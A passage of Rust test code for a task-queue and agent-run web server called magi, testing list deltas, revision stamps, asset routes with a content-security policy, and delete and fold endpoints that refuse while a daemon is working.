20380 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20381 let warning = warning.expect("a fallback has to explain itself");
20382 assert!(
20383 warning.contains("127.0.0.1") && warning.contains("local-only"),
20384 "the warning says what happened and what it costs: {warning}"
20385 );
20386 }
20387 }
20388 }
20389
20390 #[test]
20391 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20392 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20396 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20397 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20398 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20399 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20400 }
20401
20402 #[test]
20403 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20404 let ids = vec![
20405 "20260902-140501-aaaa".to_owned(),
20406 "20260902-140502-aabb".to_owned(),
20407 ];
20408
20409 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20410 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20411 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20412
20413 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20414 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20415 assert_eq!(short, "20260902-140502-aabb");
20416 }
20417 #[tokio::test]
20418 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20419 let fx = Fixture::start().await;
20425 let id = panel(
20426 &fx,
20427 "<img src=\"shot.png\">",
20428 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20429 );
20430
20431 let doc = fx
20433 .get(&format!("/api/questions/{id}/panel/index.html"))
20434 .await;
20435 assert_eq!(doc.status, 200, "{}", doc.body);
20436 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20437
20438 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20439 assert_eq!(sibling.status, 200, "{}", sibling.body);
20440 assert_eq!(sibling.header("content-type"), Some("image/png"));
20441 assert_eq!(
20442 sibling.header("content-security-policy"),
20443 Some(PANEL_CSP),
20444 "the sibling route must carry the same policy as the asset route"
20445 );
20446
20447 assert_eq!(
20450 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20451 200
20452 );
20453 }
20454
20455 #[test]
20456 fn delta_stamps_cover_add_update_remove_and_noop() {
20457 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20458 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20459 let delta = diff_stamps(&before, &after, 42);
20460 assert_eq!(delta.base, 42);
20461 assert_eq!(delta.changed, ["b", "c"]);
20462 assert_eq!(delta.removed, ["a"]);
20463 let same = diff_stamps(&after, &after, 43);
20464 assert!(same.changed.is_empty() && same.removed.is_empty());
20465 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20466 let nanos: Stamps = [("b".into(), (2, 20))].into();
20467 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20468 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20469 assert_eq!(stamps_revision(&Stamps::new()), 0);
20470 }
20471
20472 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20473 std::fs::create_dir_all(home.join("runs")).unwrap();
20474 Arc::new(Ui::new(
20475 Queue::at(home.join("queue")),
20476 Questions::at(home.join("questions")),
20477 Talks::at(home.join("talks")),
20478 home.join("runs"),
20479 home.to_owned(),
20480 PathBuf::from("/repo/magi"),
20481 ))
20482 }
20483
20484 #[test]
20485 fn monitor_scan_isolates_store_failures_and_recovers() {
20486 let home = TempDir::new().unwrap();
20487 let ui = delta_test_ui(home.path());
20488 std::fs::create_dir_all(ui.questions.root()).unwrap();
20489 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20490 let before = monitor_scan(&ui, None);
20491 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20492 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20493 std::fs::create_dir_all(ui.talks.root()).unwrap();
20494 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20495 let during = monitor_scan(&ui, Some(before.clone()));
20496 assert_eq!(during.0.2, before.0.2);
20497 assert_ne!(during.0.3, before.0.3);
20498 assert!(during.1[2].contains_key("new"));
20499 std::fs::remove_file(ui.questions.root()).unwrap();
20500 let after = monitor_scan(&ui, Some(during));
20501 assert_eq!(after.0.2, 0);
20502 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20503 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20505 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20506 }
20507
20508 #[tokio::test]
20509 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20510 let home = TempDir::new().unwrap();
20511 let ui = delta_test_ui(home.path());
20512 let mut task = Task::new(
20513 "stream task".into(),
20514 "text".into(),
20515 PathBuf::from("/repo"),
20516 Source::Human,
20517 );
20518 ui.queue.put(&mut task).unwrap();
20519 let response = events(State(ui.clone())).await.into_response();
20520 let mut stream = response.into_body().into_data_stream();
20521 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20522 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20523 .await
20524 .unwrap()
20525 .unwrap()
20526 .unwrap();
20527 let text = String::from_utf8(chunk.to_vec()).unwrap();
20528 let data = text
20529 .lines()
20530 .find_map(|line| {
20531 line.strip_prefix("data: ")
20532 .or_else(|| line.strip_prefix("data:"))
20533 })
20534 .unwrap();
20535 serde_json::from_str(data).unwrap()
20536 }
20537 let initial = change(&mut stream).await;
20538 assert!(initial.get("queue_delta").is_none());
20539 task.instruction.push_str(" changed");
20540 ui.queue.put(&mut task).unwrap();
20541 let updated = change(&mut stream).await;
20542 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20543 assert_eq!(
20544 updated["queue_delta"]["changed"],
20545 serde_json::json!([task.id])
20546 );
20547 assert_eq!(
20548 updated["queue_rev"].as_u64(),
20549 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20550 );
20551 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20552 let removed = change(&mut stream).await;
20553 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20554 assert_eq!(
20555 removed["queue_delta"]["removed"],
20556 serde_json::json!([task.id])
20557 );
20558 }
20559
20560 #[tokio::test]
20561 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20562 let home = TempDir::new().unwrap();
20563 let ui = delta_test_ui(home.path());
20564 let queue = ui.queue.clone();
20565 let query = |ids: Option<&str>| {
20566 Query(ListQuery {
20567 limit: Some(2),
20568 ids: ids.map(str::to_owned),
20569 })
20570 };
20571 let mut root = Task::new(
20572 "root".into(),
20573 "instruction".into(),
20574 PathBuf::from("/repo"),
20575 Source::Human,
20576 );
20577 queue.put(&mut root).unwrap();
20578 let mut blocked = Task::new(
20579 "blocked".into(),
20580 "instruction".into(),
20581 PathBuf::from("/repo"),
20582 Source::Human,
20583 );
20584 blocked.block(vec![root.id.clone()], None);
20585 queue.put(&mut blocked).unwrap();
20586 let whole =
20587 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20588 .unwrap();
20589 let subset = serde_json::to_value(
20590 queue_list(State(ui.clone()), query(Some(&root.id)))
20591 .await
20592 .unwrap()
20593 .0,
20594 )
20595 .unwrap();
20596 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20597 let blockers = serde_json::to_value(
20598 queue_list(State(ui.clone()), query(Some("")))
20599 .await
20600 .unwrap()
20601 .0,
20602 )
20603 .unwrap();
20604 assert_eq!(blockers.as_array().unwrap().len(), 1);
20605 assert_eq!(blockers[0]["id"], blocked.id);
20606 assert_eq!(
20607 blockers[0]["waits_on"],
20608 whole
20609 .as_array()
20610 .unwrap()
20611 .iter()
20612 .find(|row| row["id"] == blocked.id)
20613 .unwrap()["waits_on"]
20614 );
20615
20616 for id in [
20617 "20260902-140501-aaaa",
20618 "20260902-140502-bbbb",
20619 "20260902-140503-cccc",
20620 ] {
20621 write_run(&ui.runs, id, RunStatus::Merged);
20622 }
20623 let old = serde_json::to_value(
20624 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20625 .await
20626 .unwrap()
20627 .0,
20628 )
20629 .unwrap();
20630 assert!(
20631 old.as_array().unwrap().is_empty(),
20632 "older updates must not enter the window"
20633 );
20634 let newest = serde_json::to_value(
20635 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20636 .await
20637 .unwrap()
20638 .0,
20639 )
20640 .unwrap();
20641 assert_eq!(newest.as_array().unwrap().len(), 1);
20642 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20643
20644 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20645 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20646 let talks = serde_json::to_value(
20647 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20648 .await
20649 .unwrap()
20650 .0,
20651 )
20652 .unwrap();
20653 assert_eq!(talks.as_array().unwrap().len(), 1);
20654 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20655 assert_eq!(
20656 serde_json::to_value(
20657 talks_list(State(ui.clone()), query(Some("")))
20658 .await
20659 .unwrap()
20660 .0
20661 )
20662 .unwrap(),
20663 serde_json::json!([])
20664 );
20665 }
20666
20667 #[tokio::test]
20668 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20669 async fn delta_payload_benchmark() {
20670 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20671 let ui = delta_test_ui(&home);
20672 let query = |ids: Option<String>| {
20673 Query(ListQuery {
20674 limit: Some(50),
20675 ids,
20676 })
20677 };
20678 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20679 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20680 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20681 let queue_id = queue
20682 .iter()
20683 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20684 .unwrap_or(&queue[0])
20685 .task
20686 .id
20687 .clone();
20688 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20689 .await
20690 .unwrap()
20691 .0;
20692 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20693 .await
20694 .unwrap()
20695 .0;
20696 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20697 .await
20698 .unwrap()
20699 .0;
20700 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20701 eprintln!(
20702 "DELTA_PAYLOAD {}",
20703 serde_json::json!({
20704 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20705 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20706 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20707 "counts": [queue.len(), runs.len(), talks.len()],
20708 "blocked": queue_delta.len() - 1,
20709 })
20710 );
20711 }
20712
20713 #[test]
20714 fn runs_revision_moves_when_deleting_an_older_run() {
20715 let temp = TempDir::new().expect("tempdir");
20716 let runs = temp.path().join("runs");
20717 std::fs::create_dir_all(&runs).expect("create runs dir");
20718
20719 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20720
20721 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20722 std::thread::sleep(Duration::from_millis(10));
20723 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20724
20725 let rev_before = runs_revision(&runs);
20726 assert!(rev_before > 0);
20727
20728 let old_dir = runs.join("20260901-100000-old1");
20729 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20730
20731 let rev_after = runs_revision(&runs);
20732 assert_ne!(
20733 rev_before, rev_after,
20734 "deleting an older run must change the revision so other clients see the deletion"
20735 );
20736 }
20737
20738 fn write_state(runs: &FsPath, state: &RunState) {
20743 let dir = runs.join(&state.id);
20744 std::fs::create_dir_all(&dir).expect("run dir");
20745 std::fs::write(
20746 dir.join("run.json"),
20747 serde_json::to_string_pretty(state).expect("serialize run"),
20748 )
20749 .expect("write run.json");
20750 }
20751
20752 #[test]
20757 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20758 let temp = TempDir::new().expect("tempdir");
20759 let runs = temp.path().join("runs");
20760 std::fs::create_dir_all(&runs).expect("create runs dir");
20761 let mut state = RunState::new(
20762 PathBuf::from("/repo/magi"),
20763 "main".to_owned(),
20764 "0123456789abcdef".to_owned(),
20765 "task".to_owned(),
20766 Config::default(),
20767 );
20768 state.id = "20260902-100000-c0de".to_owned();
20769 write_state(&runs, &state);
20770
20771 let rev_idle = runs_revision(&runs);
20772 std::thread::sleep(Duration::from_millis(10));
20773 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20774 write_state(&runs, &state);
20775 let rev_started = runs_revision(&runs);
20776 assert_ne!(
20777 rev_idle, rev_started,
20778 "a seat starting must move the revision"
20779 );
20780
20781 std::thread::sleep(Duration::from_millis(10));
20782 state.seat_finished("judge-1");
20783 write_state(&runs, &state);
20784 let rev_finished = runs_revision(&runs);
20785 assert_ne!(
20786 rev_started, rev_finished,
20787 "and clearing it again must move the revision a second time"
20788 );
20789 }
20790
20791 #[tokio::test]
20792 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20793 let fx = Fixture::start().await;
20798 let q = fx.queue();
20799
20800 let mut t = Task::new(
20801 "Task".to_owned(),
20802 "Instruction".to_owned(),
20803 PathBuf::from("/repo"),
20804 Source::Human,
20805 );
20806 t.block(
20807 vec!["20260101-000000-dead".to_owned()],
20808 Some("waiting on Task 1".to_owned()),
20809 );
20810 t.answers.push(crate::queue::AnsweredQuestion {
20811 question: "Which backend?".to_owned(),
20812 answer: "SQLite".to_owned(),
20813 });
20814 q.put(&mut t).expect("put t");
20815
20816 let res = fx.get("/api/queue").await;
20817 assert_eq!(res.status, 200);
20818 let list = res.json();
20819 let view = list
20820 .as_array()
20821 .expect("array")
20822 .iter()
20823 .find(|v| v["id"] == t.id)
20824 .expect("task in list");
20825 assert_eq!(view["status_str"], "blocked");
20826 assert_eq!(
20827 view["blocked_by"],
20828 serde_json::json!(["20260101-000000-dead"])
20829 );
20830 assert_eq!(view["block_reason"], "waiting on Task 1");
20831 assert_eq!(view["answers"][0]["question"], "Which backend?");
20832 assert_eq!(view["answers"][0]["answer"], "SQLite");
20833
20834 let res = fx
20838 .post(&format!("/api/queue/{}/hold", t.short()), None)
20839 .await;
20840 assert_eq!(res.status, 200);
20841 let held = res.json();
20842 assert_eq!(held["status_str"], "held");
20843 assert_eq!(held["blocked_by"], serde_json::json!([]));
20844 assert!(held["block_reason"].is_null());
20845 assert_eq!(held["answers"][0]["answer"], "SQLite");
20846 }
20847
20848 #[tokio::test]
20849 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20850 let fx = Fixture::start().await;
20851 let q = fx.queue();
20852 let mk = |title: &str| {
20853 Task::new(
20854 title.to_owned(),
20855 "Instruction".to_owned(),
20856 PathBuf::from("/repo"),
20857 Source::Human,
20858 )
20859 };
20860 let mut root = mk("root");
20861 root.hold_manual(Some("waiting".to_owned()));
20862 q.put(&mut root).unwrap();
20863 let mut mid = mk("mid");
20864 mid.block(vec![root.id.clone()], None);
20865 q.put(&mut mid).unwrap();
20866 let mut leaf = mk("leaf");
20867 leaf.block(vec![mid.id.clone()], None);
20868 q.put(&mut leaf).unwrap();
20869
20870 let list = fx.get("/api/queue").await.json();
20871 let find = |id: &str| {
20872 list.as_array()
20873 .unwrap()
20874 .iter()
20875 .find(|v| v["id"] == id)
20876 .unwrap()
20877 .clone()
20878 };
20879 let leaf_view = find(&leaf.id);
20880 assert_eq!(
20881 leaf_view["waits_on"],
20882 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20883 );
20884 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20885 assert_eq!(
20886 find(&mid.id)["waits_on"],
20887 serde_json::json!([format!("{} (held)", root.short())])
20888 );
20889 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20890 }
20891
20892 #[tokio::test]
20893 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20894 let fx = Fixture::start().await;
20895 let q = fx.queue();
20896
20897 let mut t1 = Task::new(
20899 "Task 1".to_owned(),
20900 "Instruction 1".to_owned(),
20901 PathBuf::from("/repo"),
20902 Source::Human,
20903 );
20904 let run_id = "20260901-000000-r111";
20905 t1.runs.push(run_id.to_owned());
20906 write_run(&fx.runs(), run_id, RunStatus::Merged);
20907 q.put(&mut t1).expect("put t1");
20908
20909 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20911 assert_eq!(res.status, 204);
20912 assert!(res.body.is_empty(), "204 No Content has no body");
20913 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20914 assert!(
20915 fx.runs().join(run_id).exists(),
20916 "run directory must not be deleted when its task is deleted"
20917 );
20918
20919 let mut t2 = Task::new(
20921 "Task 2".to_owned(),
20922 "Instruction 2".to_owned(),
20923 PathBuf::from("/repo"),
20924 Source::Human,
20925 );
20926 t2.status = TaskStatus::Running;
20927 q.put(&mut t2).expect("put t2");
20928 let mut beat = crate::daemon::Status::new();
20929 beat.current = vec![crate::daemon::Current {
20930 task: t2.id.clone(),
20931 run: "20260901-000000-r222".to_owned(),
20932 }];
20933 beat.updated_at = jiff::Timestamp::now();
20934 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20935 .expect("publish a heartbeat");
20936 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20937 assert_eq!(res.status, 409);
20938 assert!(
20939 res.json()["error"]
20940 .as_str()
20941 .unwrap()
20942 .contains("live daemon")
20943 );
20944 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20945
20946 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20952 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20953 .expect("leave a stale heartbeat");
20954 let mut t3 = Task::new(
20955 "Task 3".to_owned(),
20956 "Instruction 3".to_owned(),
20957 PathBuf::from("/repo"),
20958 Source::Human,
20959 );
20960 t3.status = TaskStatus::Running;
20961 q.put(&mut t3).expect("put t3");
20962 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20963 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20964 assert_eq!(res.status, 204);
20965 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20966 assert!(
20967 q.claim(&t3.id).is_ok(),
20968 "the stale lock went with it, so the id is claimable again"
20969 );
20970
20971 let res = fx.delete("/api/queue/nonexistent").await;
20973 assert_eq!(res.status, 404);
20974 }
20975
20976 #[tokio::test]
20977 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20978 let fx = Fixture::start().await;
20979 let runs = fx.runs();
20980
20981 let run_id = "20260901-000000-fold";
20983 let mut state = RunState::new(
20984 PathBuf::from("/repo"),
20985 "main".to_owned(),
20986 "abc".to_owned(),
20987 "instruction".to_owned(),
20988 Config::default(),
20989 );
20990 state.id = run_id.to_owned();
20991 state.status = RunStatus::Merged;
20992 state.candidates.push(crate::run::Candidate {
20993 index: 0,
20994 label: 'A',
20995 agent: "a".to_owned(),
20996 branch: "b".to_owned(),
20997 worktree: PathBuf::from("/w"),
20998 summary: String::new(),
20999 stat: String::new(),
21000 files: 1,
21001 commits: 1,
21002 empty: false,
21003 failed: None,
21004 verified_noop: None,
21005 duration_ms: 0,
21006 folded: true,
21007 });
21008 let dir = runs.join(run_id);
21009 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21010 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21011 .expect("write artifact");
21012 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21013 .expect("write run.json");
21014
21015 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21017 assert_eq!(res.status, 204);
21018 assert!(res.body.is_empty(), "204 has no body");
21019 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21020
21021 let run_running = "20260901-000000-rung";
21026 write_run(&runs, run_running, RunStatus::Prep);
21027 let mut beat = crate::daemon::Status::new();
21028 beat.current = vec![crate::daemon::Current {
21029 task: "20260901-000000-task".to_owned(),
21030 run: run_running.to_owned(),
21031 }];
21032 beat.updated_at = jiff::Timestamp::now();
21033 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21034 .expect("publish a heartbeat");
21035 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21036 assert_eq!(res.status, 409);
21037 assert!(
21038 res.json()["error"]
21039 .as_str()
21040 .unwrap()
21041 .contains("live daemon"),
21042 "the refusal must say who is holding it"
21043 );
21044 assert!(
21045 runs.join(run_running).exists(),
21046 "a run in flight keeps its directory"
21047 );
21048
21049 let run_unfolded = "20260901-000000-unfd";
21051 let mut state2 = RunState::new(
21052 PathBuf::from("/repo"),
21053 "main".to_owned(),
21054 "abc".to_owned(),
21055 "instruction".to_owned(),
21056 Config::default(),
21057 );
21058 state2.id = run_unfolded.to_owned();
21059 state2.status = RunStatus::Ready;
21060 state2.candidates.push(crate::run::Candidate {
21061 index: 0,
21062 label: 'A',
21063 agent: "a".to_owned(),
21064 branch: "b".to_owned(),
21065 worktree: PathBuf::from("/w"),
21066 summary: String::new(),
21067 stat: String::new(),
21068 files: 1,
21069 commits: 1,
21070 empty: false,
21071 failed: None,
21072 verified_noop: None,
21073 duration_ms: 0,
21074 folded: false,
21075 });
21076 let dir2 = runs.join(run_unfolded);
21077 std::fs::create_dir_all(&dir2).expect("create dir2");
21078 std::fs::write(
21079 dir2.join("run.json"),
21080 serde_json::to_string(&state2).unwrap(),
21081 )
21082 .expect("write run.json");
21083
21084 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21085 assert_eq!(res.status, 409);
21086 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21087 assert!(dir2.exists(), "unfolded run directory is kept");
21088
21089 let res = fx.delete("/api/runs/nonexistent").await;
21091 assert_eq!(res.status, 404);
21092 }
21093
21094 #[test]
21103 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21104 let start = APP_JS
21105 .find("function renderStats() {")
21106 .expect("renderStats");
21107 let end = start
21108 + APP_JS[start..]
21109 .find("function statsTile(")
21110 .expect("the next top-level function");
21111 let body = &APP_JS[start..end];
21112
21113 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21114 let gate_end = gate_start
21115 + body[gate_start..]
21116 .find("}\n renderStatsQueue")
21117 .expect("the gate's own closing brace, right before the unconditional call");
21118 let gated = &body[gate_start..gate_end];
21119
21120 assert_eq!(
21121 body.matches("renderStatsQueue(").count(),
21122 1,
21123 "renderStats must call renderStatsQueue exactly once: {body}"
21124 );
21125 assert!(
21126 !gated.contains("renderStatsQueue"),
21127 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21128 run-derived panels on an empty run history - the queue panel has to render \
21129 regardless: {gated}"
21130 );
21131 }
21132
21133 #[test]
21134 fn web_ui_delete_contract_in_front_end() {
21135 assert!(APP_JS.contains("deleteRun:"));
21137 assert!(APP_JS.contains("deleteTask:"));
21138
21139 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21141 ..APP_JS.find("function renderRuns").unwrap()];
21142 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21143
21144 assert!(APP_JS.contains("renderRunDelete"));
21146 assert!(APP_JS.contains("runDeleteReason"));
21147 assert!(APP_JS.contains("magi fold"));
21148 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21149
21150 assert!(APP_JS.contains("cancel.focus"));
21152 assert!(APP_JS.contains("armedRunDelete"));
21153 assert!(APP_JS.contains("renderTaskDeleteBox"));
21154 assert!(APP_JS.contains("armed${cap(key)}"));
21155
21156 assert!(APP_JS.contains("disabled: status === \"running\""));
21158 }
21159
21160 #[test]
21180 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21181 let build = APP_JS
21182 .find("function createRunCard")
21183 .expect("createRunCard exists");
21184 let update = APP_JS
21185 .find("function updateRunCard")
21186 .expect("updateRunCard exists");
21187 let end = APP_JS
21188 .find("function renderRuns")
21189 .expect("renderRuns exists");
21190
21191 let builder = &APP_JS[build..update];
21193 let open = builder.find("refs = {").expect("createRunCard sets refs");
21194 let literal = &builder[open + "refs = {".len()..];
21195 let close = literal.find('}').expect("the refs literal is closed");
21196 let published: HashSet<&str> = literal[..close]
21197 .split(',')
21198 .filter_map(|entry| entry.split(':').next())
21200 .map(str::trim)
21201 .filter(|name| !name.is_empty())
21202 .collect();
21203 assert!(
21204 published.len() > 5,
21205 "the refs literal did not parse into names: {published:?}"
21206 );
21207
21208 let mut used: Vec<&str> = Vec::new();
21211 let updaters = &APP_JS[update..end];
21212 for (at, _) in updaters.match_indices("r.") {
21213 let before = updaters[..at].chars().next_back();
21216 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21217 continue;
21218 }
21219 let rest = &updaters[at + 2..];
21220 let len = rest
21221 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21222 .unwrap_or(rest.len());
21223 if len > 0 {
21224 used.push(&rest[..len]);
21225 }
21226 }
21227 assert!(
21228 used.len() > 5,
21229 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21230 );
21231
21232 let missing: Vec<&str> = used
21233 .iter()
21234 .copied()
21235 .filter(|name| !published.contains(name))
21236 .collect();
21237 assert!(
21238 missing.is_empty(),
21239 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21240 never put in `refs` - every card will throw and the list will \
21241 render empty under a count line that says otherwise. Published: \
21242 {published:?}"
21243 );
21244 }
21245
21246 #[tokio::test]
21247 async fn folding_from_the_phone_reports_what_it_removed() {
21248 let fx = Fixture::start().await;
21249 let runs = fx.runs();
21250
21251 let id = "20260901-000000-fold";
21255 write_run(&runs, id, RunStatus::Stalled);
21256 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21257 assert_eq!(res.status, 200);
21258 assert_eq!(res.json()["removed_count"], 0);
21259 assert_eq!(res.json()["run"], id);
21260 assert!(
21261 runs.join(id).exists(),
21262 "a fold keeps the run's record; only the worktrees go"
21263 );
21264 }
21265
21266 #[tokio::test]
21267 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21268 let fx = Fixture::start().await;
21269 let runs = fx.runs();
21270 let wt = fx.home.path().join("wt").join("magi").join("dead");
21271 let id = "20260901-000000-dead";
21272 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21273 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21274 std::fs::create_dir_all(&wt).expect("worktree dir");
21275
21276 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21277 assert_eq!(res.status, 200, "{}", res.body);
21278 assert!(
21279 res.json()["removed_count"].as_u64().unwrap() > 0,
21280 "the worktree this build could not read a state for still went"
21281 );
21282 assert!(
21283 !runs.join(id).exists(),
21284 "an unreadable run has no candidate list to fold selectively, so \
21285 the whole record goes - same as `magi fold` on the CLI"
21286 );
21287 }
21288
21289 #[tokio::test]
21290 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21291 let fx = Fixture::start().await;
21292 let runs = fx.runs();
21293 let wt = fx.home.path().join("wt").join("magi").join("gone");
21294 let id = "20260901-000000-gone";
21295 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21296 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21297 std::fs::create_dir_all(&wt).expect("worktree dir");
21298
21299 let res = fx.delete(&format!("/api/runs/{id}")).await;
21300 assert_eq!(res.status, 204, "{}", res.body);
21301 assert!(!runs.join(id).exists(), "the broken record is gone");
21302 assert!(!wt.exists(), "its worktree is gone too");
21303 }
21304
21305 #[tokio::test]
21306 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21307 let fx = Fixture::start().await;
21308 let runs = fx.runs();
21309 let id = "20260901-000000-live";
21310 write_run(&runs, id, RunStatus::Implementing);
21311
21312 let mut beat = crate::daemon::Status::new();
21313 beat.current = vec![crate::daemon::Current {
21314 task: "20260901-000000-task".to_owned(),
21315 run: id.to_owned(),
21316 }];
21317 beat.updated_at = jiff::Timestamp::now();
21318 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21319 .expect("publish a heartbeat");
21320
21321 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21322 assert_eq!(res.status, 409);
21323 assert!(
21324 res.json()["error"]
21325 .as_str()
21326 .unwrap()
21327 .contains("live daemon"),
21328 "folding under a running agent would pull its worktree away"
21329 );
21330 }
21331
21332 #[tokio::test]
21333 async fn fold_merged_requires_a_pr_url() {
21334 let fx = Fixture::start().await;
21335 let runs = fx.runs();
21336 let id = "20260901-000000-nourl";
21337 write_run(&runs, id, RunStatus::Blocked);
21338
21339 let res = fx
21340 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21341 .await;
21342 assert_eq!(res.status, 400, "{}", res.body);
21343
21344 let blank = fx
21345 .post(
21346 &format!("/api/runs/{id}/fold-merged"),
21347 Some(r#"{"pr_url":" "}"#),
21348 )
21349 .await;
21350 assert_eq!(blank.status, 400, "{}", blank.body);
21351 }
21352
21353 #[tokio::test]
